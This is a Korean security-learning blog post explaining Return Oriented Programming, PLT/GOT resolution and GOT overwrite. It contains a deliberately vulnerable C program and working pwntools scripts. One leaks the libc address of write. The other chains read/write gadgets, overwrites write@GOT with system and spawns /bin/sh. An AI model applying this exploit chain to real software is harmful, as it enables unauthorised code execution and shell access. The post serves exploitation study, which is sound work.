HO_9
HO9
HO_9
전체 방문자
오늘
어제
  • 분류 전체보기 (104)
    • Write Up (3)
    • WarGame (21)
      • The Lord of Bufferoverflow(.. (7)
      • The Lord of Sql Injection(L.. (1)
      • Pwnable.kr (1)
      • Pwnable.tw (0)
      • XSS GAME (6)
      • Pwnable.xyz (5)
    • SYSTEM HACKING (49)
      • 기법 (24)
      • 문제 풀이 (24)
    • CODING (2)
      • PYTHON (2)
    • WEB HACKING (1)
    • Plan (0)
    • PROJECT (0)
    • iOS (6)
    • ALGORITHM (0)

블로그 메뉴

  • 홈
  • 태그
  • 미디어로그
  • 위치로그
  • 방명록

공지사항

  • .

인기 글

태그

  • 아파치
  • log4j
  • 취약점
  • JNDI

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HO_9

HO9

DAY-7 ROP(Return Oriented Programming)
SYSTEM HACKING/기법

DAY-7 ROP(Return Oriented Programming)

2017. 11. 18. 19:52
728x90

이번에는 ROP에 대해서 알아보려고 한다.


ROP란 운영체제의 여러가지 보호기법을 우회하여 

해커가 원하는 명령어를 가지고 실행 할 수 있도록 조합하여 권한 상승을 하는 기법이다.

쉽게말하면 여러가지 제약이 걸린상태에서 BOF,RTL과 같은 기법을 수행하지 못하는 경우 함수를 실행하기 위해

여러가지를 조합하여 실행시키는 것을 ROP라 한다.


ROP를 하기 위해서는 RTL,RTL Chaining,GOT overwrite를 알아야 한다.

RTL과 RTL Chaining은 

2017/11/11 - [SYSTEM HACKING/정리자료] - DAY-6 Return To Library

2017/11/11 - [SYSTEM HACKING/정리자료] - Special Chapter-RTL Chaining

를 보면 도움이 될 것이다.


파일을 컴파일 하는 과정에서

static방식과 dynamic방식이 있다.


static방식은 DAY-6에서 했던 것과 같이 파일에 라이브러리 파일을 가지고 있는 것 이다.

라이브러리 파일을 통해서 여러가지 함수를 실행 할 수 있다.


dynamic방식은 공유라이브러리를 사용한다.

라이브러리를 메모리 공간에 매핑하고 여러 프로그램에서 그 라이브러리 파일을 공유해서 쓰는 것이다.

dynamic방식으로 컴파일을 했을때 GOT와PLT라는 것을 사용하게 된다.


dynamic방식에서 함수를 호출하면 PLT를 참조하게 된다.

PLT는 GOT로 점프를 하는데,GOT에는 라이브러리의 함수 주소가 쓰여있어서 이 함수를 호출을 한다.


첫번째 호출과 두번째 호출의 동작이 약간 다르다.


두번째 호출은 GOT의 실제함수 주소가 써있다.하지만 첫번째는 아니다.

그래서 첫 호출을 할때는 dl_resolve라는 함수를 사용해 함수의주소를 알아오고 GOT에 그주소를 써준후 함수를 실행한다.



이GOT 주소에 다른 함수의 주소를 덮어씌우면 그것이 GOT overwrite가 되는 것 이다.


자세한 GOT와PLT는 https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/이곳을 참고하길 바란다.


<GO.c>

#include <stdio.h>

#include <stdlib.h>


char *string = "Can you beat me?\n";


void vuln(void){

        char buf[8];

        read(0,buf,256); //버퍼오버플로우를 하자!

        write(1,string,strlen(string));

}


int main(void){

        vuln();

}



<leak.py>

#!/usr/bin/python


from pwn import *

from struct import *


lib = ELF("/lib/i386-linux-gnu/libc.so.6") //라이브러리 가져오기


libc_main = 0


write_off = lib.symbols['write'] //write함수가 라이브러리로부터 떨어진 값

write_got = 0x0804a018 //wirte함수 실제 주소

write_plt = 0x08048350 //PLT


payload = ''

payload += "A"*20

payload += p32(write_plt) //plt를 이용해 첫번째 got호출됨

payload += "DUMM"

payload += p32(1)

payload += p32(write_got) //첫번째 실행이 지난 후 실제 함수주소가 들어 있을 것이다.

payload += p32(4)


p = process("../GO")


raw_input() //입력받아야지 다음문장으로 이동됨


p.sendline(payload) //입력

p.recvuntil("\n")


leak = unpack("<L",p.recv(4))[0] //recv(4)로 출력 값을 받아와서 unpack함수를 사용해서 <L옵션을 사용해 Little Endian으로 변형

libc_main = leak - write_off //write함수의 실제주소 -(빼기) 라이브러리 처음부터 write함수까지 떨어진 값


print "LEAK : %08x"%(leak)

print "OFF  : %08x"%(write_off)

print "LIBC : %08x"%(libc_main)


raw_input()




값이 나오는 것을 알 수 있다.

그러면 이것을 토대로 익스플로잇 코드를 짜보자.


<exp.py>

#!/usr/bin/python

from pwn import *
from struct import *

lib = ELF("/lib/i386-linux-gnu/libc.so.6")

binsh = "/bin/sh\x00" //8바이트로 맞춰서 /bin/sh 문자열 저장 하기

bss = 0x0804a000 //nm ./파일명 |grep bss 

pppr = 0x08048539 //http://ropshell.com/를 이용하면 원하는 가젯을 찾을 수 있다.

libc_main = 0

system_off      = lib.symbols['system'] //system함수 주소 라이브러리로부터 떨어진 값
system_libc = 0

write_off = lib.symbols['write'] //write함수 주소 라이브러리로부터 떨어진 값
write_got = 0x0804a018 //첫번째 실행이 지난 후 실제 함수주소가 들어 있을 것이다.
write_plt = 0x08048350 //plt를 이용해 첫번째 got호출됨

read_plt = 0x8048320

payload = ''
payload += "A"*20
payload += p32(read_plt) # stage 1 - input "/bin/sh\x00"
payload += p32(pppr)
payload += p32(0)
payload += p32(bss) //bss에 /bin/sh\x00넣기
payload += p32(len(binsh)+1) //개행문자까지해서 +1을 해주자!
payload += p32(write_plt) # stage 2 - leak libc main
payload += p32(pppr)
payload += p32(1)
payload += p32(write_got) 
payload += p32(4)
payload += p32(read_plt) # stage 3 - GOT Overwrite
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got) //system함수의 실제주소를 넣을 공간
payload += p32(5)
payload += p32(write_plt) //plt가 got로 연결을 하지만 ,위에줄에서 write_got에 system함수의 실제주소를 덮어주었다.
payload += "AAAA"
payload += p32(bss) // /bin/sh\x00

p = process("../GO")

raw_input()

//sendline은 입력을 뜻한다.

p.sendline(payload)
p.recvuntil("\n")
p.sendline(binsh)

leak = unpack("<L",p.recv(4))[0]
libc_main = leak - write_off
system_libc = libc_main + system_off //라이브러리 처음+라이브 함수로부터 system함수가 떨어진 거리

print "LEAK : %08x"%(leak)
print "OFF  : %08x"%(write_off)
print "LIBC : %08x"%(libc_main)
print "SYSTEM : %08x"%(system_libc)

# Stage 2 Start
sleep(1)
p.sendline(p32(system_libc)) //system주소 값을 보내준다

# Shell
p.interactive()


쉘이 따진 것을 볼 수 있다.

'SYSTEM HACKING > 기법' 카테고리의 다른 글

Special Chapter-Double Stage Format String Bug  (0) 2018.01.01
DAY-8 FSB(Format String Bug)  (0) 2017.12.31
Special Chapter-RTL Chaining  (0) 2017.11.11
DAY-6 Return To Library  (0) 2017.11.11
DAY-5 쉘코드 작성  (0) 2017.11.10
    'SYSTEM HACKING/기법' 카테고리의 다른 글
    • Special Chapter-Double Stage Format String Bug
    • DAY-8 FSB(Format String Bug)
    • Special Chapter-RTL Chaining
    • DAY-6 Return To Library
    HO_9
    HO_9

    티스토리툴바